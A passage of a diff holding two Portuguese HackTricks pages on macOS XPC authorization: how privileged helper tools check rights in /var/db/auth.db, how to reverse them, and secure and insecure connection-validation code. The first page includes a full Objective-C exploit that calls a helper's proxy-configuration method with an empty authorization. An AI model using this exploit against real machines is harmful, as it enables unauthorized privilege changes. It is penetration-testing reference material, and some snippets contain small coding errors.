- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
[...]
|
||||
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
|
||||
if (err == errAuthorizationSuccess) {
|
||||
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
|
||||
}
|
||||
if (err == errAuthorizationSuccess) {
|
||||
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
|
||||
}
|
||||
assert(err == errAuthorizationSuccess);
|
||||
|
||||
// If we successfully connected to Authorization Services, add definitions for our default
|
||||
// rights (unless they're already in the database).
|
||||
|
||||
if (self->_authRef) {
|
||||
[Common setupAuthorizationRights:self->_authRef];
|
||||
}
|
||||
|
||||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
A função `setupAuthorizationRights` do arquivo `Common/Common.m` irá armazenar no banco de dados de autorização `/var/db/auth.db` os direitos da aplicação. Observe como ela irá adicionar apenas os direitos que ainda não estão no banco de dados:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
{
|
||||
assert(authRef != NULL);
|
||||
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
|
||||
OSStatus blockErr;
|
||||
|
||||
// First get the right. If we get back errAuthorizationDenied that means there's
|
||||
// no current definition, so we add our default one.
|
||||
|
||||
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
|
||||
if (blockErr == errAuthorizationDenied) {
|
||||
blockErr = AuthorizationRightSet(
|
||||
authRef, // authRef
|
||||
[authRightName UTF8String], // rightName
|
||||
(__bridge CFTypeRef) authRightDefault, // rightDefinition
|
||||
(__bridge CFStringRef) authRightDesc, // descriptionKey
|
||||
NULL, // bundle (NULL implies main bundle)
|
||||
CFSTR("Common") // localeTableName
|
||||
);
|
||||
assert(blockErr == errAuthorizationSuccess);
|
||||
} else {
|
||||
// A right already exists (err == noErr) or any other error occurs, we
|
||||
// assume that it has been set up in advance by the system administrator or
|
||||
// this is the second time we've run. Either way, there's nothing more for
|
||||
// us to do.
|
||||
}
|
||||
}];
|
||||
}
|
||||
```
|
||||
A função `enumerateRightsUsingBlock` é usada para obter as permissões das aplicações, que são definidas em `commandInfo`:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
|
||||
|
||||
+ (NSDictionary *)commandInfo
|
||||
{
|
||||
static dispatch_once_t sOnceToken;
|
||||
static NSDictionary * sCommandInfo;
|
||||
|
||||
dispatch_once(&sOnceToken, ^{
|
||||
sCommandInfo = @{
|
||||
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
|
||||
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
|
||||
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||||
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||
@"EBAS is trying to read its license key.",
|
||||
@"prompt shown when user is required to authorize to read the license key"
|
||||
)
|
||||
},
|
||||
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
|
||||
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
|
||||
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
|
||||
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||
@"EBAS is trying to write its license key.",
|
||||
@"prompt shown when user is required to authorize to write the license key"
|
||||
)
|
||||
},
|
||||
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
|
||||
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
|
||||
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||||
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||
@"EBAS is trying to start its web service.",
|
||||
@"prompt shown when user is required to authorize to start the web service"
|
||||
)
|
||||
}
|
||||
};
|
||||
});
|
||||
return sCommandInfo;
|
||||
}
|
||||
|
||||
+ (NSString *)authorizationRightForCommand:(SEL)command
|
||||
// See comment in header.
|
||||
{
|
||||
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
|
||||
}
|
||||
|
||||
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
|
||||
// Calls the supplied block with information about each known authorization right..
|
||||
{
|
||||
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
|
||||
#pragma unused(key)
|
||||
#pragma unused(stop)
|
||||
NSDictionary * commandDict;
|
||||
NSString * authRightName;
|
||||
id authRightDefault;
|
||||
NSString * authRightDesc;
|
||||
|
||||
// If any of the following asserts fire it's likely that you've got a bug
|
||||
// in sCommandInfo.
|
||||
|
||||
commandDict = (NSDictionary *) obj;
|
||||
assert([commandDict isKindOfClass:[NSDictionary class]]);
|
||||
|
||||
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
|
||||
assert([authRightName isKindOfClass:[NSString class]]);
|
||||
|
||||
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
|
||||
assert(authRightDefault != nil);
|
||||
|
||||
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
|
||||
assert([authRightDesc isKindOfClass:[NSString class]]);
|
||||
|
||||
block(authRightName, authRightDefault, authRightDesc);
|
||||
}];
|
||||
}
|
||||
```
|
||||
Isso significa que, no final desse processo, as permissões declaradas dentro de `commandInfo` serão armazenadas em `/var/db/auth.db`. Observe como lá você pode encontrar para **cada método** que requer autenticação, o **nome da permissão** e o **`kCommandKeyAuthRightDefault`**. Este último indica **quem pode obter esse direito**.
|
||||
|
||||
Existem diferentes escopos para indicar quem pode acessar um direito. Alguns deles estão definidos em [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (você pode encontrar [todos eles aqui](https://www.dssw.co.uk/reference/authorization-rights/)), mas como resumo:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Nome</th><th width="165">Valor</th><th>Descrição</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Qualquer pessoa</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Ninguém</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>O usuário atual precisa ser um administrador (dentro do grupo de administradores)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Pedir ao usuário para autenticar.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Pedir ao usuário para autenticar. Ele precisa ser um administrador (dentro do grupo de administradores)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar regras</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar comentários extras sobre o direito</td></tr></tbody></table>
|
||||
|
||||
### Verificação de Direitos
|
||||
|
||||
No arquivo `HelperTool/HelperTool.m`, a função **`readLicenseKeyAuthorization`** verifica se o chamador está autorizado a **executar tal método** chamando a função **`checkAuthorization`**. Esta função verificará se os **dados de autenticação** enviados pelo processo chamador têm um **formato correto** e, em seguida, verificará **o que é necessário para obter o direito** de chamar o método específico. Se tudo correr bem, o **`error` retornado será `nil`**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
[...]
|
||||
|
||||
// First check that authData looks reasonable.
|
||||
|
||||
error = nil;
|
||||
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
|
||||
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
|
||||
}
|
||||
|
||||
// Create an authorization ref from that the external form data contained within.
|
||||
|
||||
if (error == nil) {
|
||||
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
|
||||
|
||||
// Authorize the right associated with the command.
|
||||
|
||||
if (err == errAuthorizationSuccess) {
|
||||
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
|
||||
AuthorizationRights rights = { 1, &oneRight };
|
||||
|
||||
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
|
||||
assert(oneRight.name != NULL);
|
||||
|
||||
err = AuthorizationCopyRights(
|
||||
authRef,
|
||||
&rights,
|
||||
NULL,
|
||||
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
if (err != errAuthorizationSuccess) {
|
||||
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
|
||||
}
|
||||
}
|
||||
|
||||
if (authRef != NULL) {
|
||||
junk = AuthorizationFree(authRef, 0);
|
||||
assert(junk == errAuthorizationSuccess);
|
||||
}
|
||||
|
||||
return error;
|
||||
}
|
||||
```
|
||||
Observe que para **verificar os requisitos para obter o direito** de chamar aquele método, a função `authorizationRightForCommand` apenas verificará o objeto de comentário anteriormente mencionado **`commandInfo`**. Em seguida, ela chamará **`AuthorizationCopyRights`** para verificar **se possui os direitos** para chamar a função (observe que as flags permitem interação com o usuário).
|
||||
|
||||
Neste caso, para chamar a função `readLicenseKeyAuthorization`, o `kCommandKeyAuthRightDefault` é definido como `@kAuthorizationRuleClassAllow`. Portanto, **qualquer pessoa pode chamá-la**.
|
||||
|
||||
### Informações do Banco de Dados
|
||||
|
||||
Foi mencionado que essas informações são armazenadas em `/var/db/auth.db`. Você pode listar todas as regras armazenadas com:
|
||||
```sql
|
||||
sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
Em seguida, você pode ler quem pode acessar o direito com:
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
### Direitos permissivos
|
||||
|
||||
Você pode encontrar **todas as configurações de permissões** [**aqui**](https://www.dssw.co.uk/reference/authorization-rights/), mas as combinações que não exigem interação do usuário seriam:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
|
||||
* Isso é usado em **combinação com uma das 2 opções abaixo ou indicando um grupo** ao qual o usuário deve pertencer.
|
||||
2. **'allow-root': 'true'**
|
||||
* Se um usuário estiver operando como usuário root (que possui permissões elevadas) e essa chave estiver definida como `true`, o usuário root poderá potencialmente obter esse direito sem autenticação adicional. No entanto, normalmente, alcançar o status de usuário root já requer autenticação, portanto, isso não é um cenário de "sem autenticação" para a maioria dos usuários.
|
||||
3. **'session-owner': 'true'**
|
||||
* Se definido como `true`, o proprietário da sessão (o usuário atualmente conectado) receberá automaticamente esse direito. Isso pode ignorar autenticação adicional se o usuário já estiver conectado.
|
||||
4. **'shared': 'true'**
|
||||
* Essa chave não concede direitos sem autenticação. Em vez disso, se definida como `true`, significa que, uma vez autenticado o direito, ele pode ser compartilhado entre vários processos sem que cada um precise se autenticar novamente. Mas a concessão inicial do direito ainda exigiria autenticação, a menos que combinada com outras chaves como `'authenticate-user': 'false'`.
|
||||
|
||||
Você pode [**usar este script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) para obter os direitos interessantes:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
||||
Rights with 'allow-root': 'true':
|
||||
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
|
||||
|
||||
|
||||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## Reversando Autorização
|
||||
|
||||
### Verificando se o EvenBetterAuthorization é usado
|
||||
|
||||
Se você encontrar a função: **`[HelperTool checkAuthorization:command:]`**, provavelmente o processo está usando o esquema mencionado anteriormente para autorização:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Assim, se essa função estiver chamando funções como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está usando o [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
Verifique o **`/var/db/auth.db`** para ver se é possível obter permissões para chamar alguma ação privilegiada sem interação do usuário.
|
||||
|
||||
### Comunicação de Protocolo
|
||||
|
||||
Em seguida, você precisa encontrar o esquema de protocolo para poder estabelecer uma comunicação com o serviço XPC.
|
||||
|
||||
A função **`shouldAcceptNewConnection`** indica o protocolo sendo exportado:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Neste caso, temos o mesmo que no EvenBetterAuthorizationSample, [**verifique esta linha**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Sabendo o nome do protocolo usado, é possível **despejar sua definição de cabeçalho** com:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
[...]
|
||||
@protocol HelperToolProtocol
|
||||
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
|
||||
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
|
||||
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
|
||||
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
|
||||
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
|
||||
@end
|
||||
[...]
|
||||
```
|
||||
Por último, precisamos saber o **nome do Mach Service exposto** para estabelecer uma comunicação com ele. Existem várias maneiras de encontrar isso:
|
||||
|
||||
* No método **`[HelperTool init]`**, onde você pode ver o Mach Service sendo usado:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* No arquivo launchd plist:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
[...]
|
||||
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>com.example.HelperTool</key>
|
||||
<true/>
|
||||
</dict>
|
||||
[...]
|
||||
```
|
||||
### Exemplo de Exploração
|
||||
|
||||
Neste exemplo é criado:
|
||||
|
||||
* A definição do protocolo com as funções
|
||||
* Uma autenticação vazia para ser usada para solicitar acesso
|
||||
* Uma conexão com o serviço XPC
|
||||
* Uma chamada à função se a conexão foi bem-sucedida
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Security expl.m -o expl
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
||||
// Define a unique service name for the XPC helper
|
||||
static NSString* XPCServiceName = @"com.example.XPCHelper";
|
||||
|
||||
// Define the protocol for the helper tool
|
||||
@protocol XPCHelperProtocol
|
||||
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
|
||||
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
|
||||
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
|
||||
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
|
||||
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
|
||||
@end
|
||||
|
||||
int main(void) {
|
||||
NSData *authData;
|
||||
OSStatus status;
|
||||
AuthorizationExternalForm authForm;
|
||||
AuthorizationRef authReference = {0};
|
||||
NSString *proxyAddress = @"127.0.0.1";
|
||||
NSString *proxyPort = @"4444";
|
||||
Boolean isProxyEnabled = true;
|
||||
|
||||
// Create an empty authorization reference
|
||||
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
|
||||
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||||
NSLog(@"OSStatus: %s", errorMsg);
|
||||
|
||||
// Convert the authorization reference to an external form
|
||||
if (status == errAuthorizationSuccess) {
|
||||
status = AuthorizationMakeExternalForm(authReference, &authForm);
|
||||
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||||
NSLog(@"OSStatus: %s", errorMsg);
|
||||
}
|
||||
|
||||
// Convert the external form to NSData for transmission
|
||||
if (status == errAuthorizationSuccess) {
|
||||
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
|
||||
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||||
NSLog(@"OSStatus: %s", errorMsg);
|
||||
}
|
||||
|
||||
// Ensure the authorization was successful
|
||||
assert(status == errAuthorizationSuccess);
|
||||
|
||||
// Establish an XPC connection
|
||||
NSString *serviceName = XPCServiceName;
|
||||
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
|
||||
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
|
||||
[xpcConnection setRemoteObjectInterface:xpcInterface];
|
||||
[xpcConnection resume];
|
||||
|
||||
// Handle errors for the XPC connection
|
||||
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
|
||||
NSLog(@"[-] Connection error");
|
||||
NSLog(@"[-] Error: %@", error);
|
||||
}];
|
||||
|
||||
// Log the remote proxy and connection objects
|
||||
NSLog(@"Remote Proxy: %@", remoteProxy);
|
||||
NSLog(@"XPC Connection: %@", xpcConnection);
|
||||
|
||||
// Use the legacy method to configure the proxy
|
||||
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
|
||||
NSLog(@"Response: %@", error);
|
||||
}];
|
||||
|
||||
// Allow some time for the operation to complete
|
||||
[NSThread sleepForTimeInterval:10.0f];
|
||||
|
||||
NSLog(@"Finished!");
|
||||
}
|
||||
```
|
||||
## Referências
|
||||
|
||||
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,107 @@
|
|||
# Verificação de Conexão de Processo XPC no macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Verificação de Conexão de Processo XPC
|
||||
|
||||
Quando uma conexão é estabelecida com um serviço XPC, o servidor verificará se a conexão é permitida. Estas são as verificações que normalmente são realizadas:
|
||||
|
||||
1. Verificar se o **processo de conexão está assinado com um certificado assinado pela Apple** (apenas fornecido pela Apple).
|
||||
* Se isso **não for verificado**, um atacante pode criar um **certificado falso** para corresponder a qualquer outra verificação.
|
||||
2. Verificar se o processo de conexão está assinado com o **certificado da organização** (verificação do ID da equipe).
|
||||
* Se isso **não for verificado**, qualquer certificado de desenvolvedor da Apple pode ser usado para assinar e se conectar ao serviço.
|
||||
3. Verificar se o processo de conexão **contém um ID de pacote adequado**.
|
||||
* Se isso **não for verificado**, qualquer ferramenta **assinada pela mesma organização** pode ser usada para interagir com o serviço XPC.
|
||||
4. (4 ou 5) Verificar se o processo de conexão possui um **número de versão de software adequado**.
|
||||
* Se isso **não for verificado**, clientes antigos e inseguros, vulneráveis à injeção de processo, podem ser usados para se conectar ao serviço XPC, mesmo com as outras verificações em vigor.
|
||||
5. (4 ou 5) Verificar se o processo de conexão possui um tempo de execução protegido sem privilégios perigosos (como aqueles que permitem carregar bibliotecas arbitrárias ou usar variáveis de ambiente DYLD).
|
||||
1. Se isso **não for verificado**, o cliente pode estar **vulnerável à injeção de código**.
|
||||
6. Verificar se o processo de conexão possui uma **autorização** que permite a conexão com o serviço. Isso é aplicável para binários da Apple.
|
||||
7. A **verificação** deve ser **baseada** no **token de auditoria do cliente** de conexão **em vez** de seu ID de processo (**PID**), pois o primeiro impede ataques de reutilização de PID.
|
||||
* Os desenvolvedores raramente usam a chamada de API de token de auditoria, pois ela é **privada**, então a Apple pode **alterá-la** a qualquer momento. Além disso, o uso de API privada não é permitido em aplicativos da Mac App Store.
|
||||
|
||||
Para obter mais informações sobre o ataque de reutilização de PID, consulte:
|
||||
|
||||
{% content-ref url="../../../mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md" %}
|
||||
[macos-pid-reuse.md](../../../mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trustcache - Prevenção de Ataques de Downgrade
|
||||
|
||||
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, para que apenas binários não modificados permitidos possam ser executados. Isso impede a execução de versões de downgrade.
|
||||
|
||||
### Exemplos de Código
|
||||
|
||||
O servidor implementará essa **verificação** em uma função chamada **`shouldAcceptNewConnection`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||
//Check connection
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
O objeto NSXPCConnection possui uma propriedade **privada** chamada **`auditToken`** (a que deve ser usada, mas pode mudar) e uma propriedade **pública** chamada **`processIdentifier`** (a que não deve ser usada).
|
||||
|
||||
O processo de conexão pode ser verificado da seguinte forma:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
SecRequirementRef requirementRef = NULL;
|
||||
NSString requirementString = @"anchor apple generic and identifier \"xyz.hacktricks.service\" and certificate leaf [subject.CN] = \"TEAMID\" and info [CFBundleShortVersionString] >= \"1.0\"";
|
||||
/* Check:
|
||||
- Signed by a cert signed by Apple
|
||||
- Check the bundle ID
|
||||
- Check the TEAMID of the signing cert
|
||||
- Check the version used
|
||||
*/
|
||||
|
||||
// Check the requirements with the PID (vulnerable)
|
||||
SecRequirementCreateWithString(requirementString, kSecCSDefaultFlags, &requirementRef);
|
||||
SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||
|
||||
// Check the requirements wuing the auditToken (secure)
|
||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||
```
|
||||
Se um desenvolvedor não quiser verificar a versão do cliente, ele pode pelo menos verificar se o cliente não é vulnerável à injeção de processo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);
|
||||
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
|
||||
const uint32_t cs_hard = 0x100; // don't load invalid page.
|
||||
const uint32_t cs_kill = 0x200; // Kill process if page is invalid
|
||||
const uint32_t cs_restrict = 0x800; // Prevent debugging
|
||||
const uint32_t cs_require_lv = 0x2000; // Library Validation
|
||||
const uint32_t cs_runtime = 0x10000; // hardened runtime
|
||||
if ((csFlags & (cs_hard | cs_require_lv)) {
|
||||
return Yes; // Accept connection
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
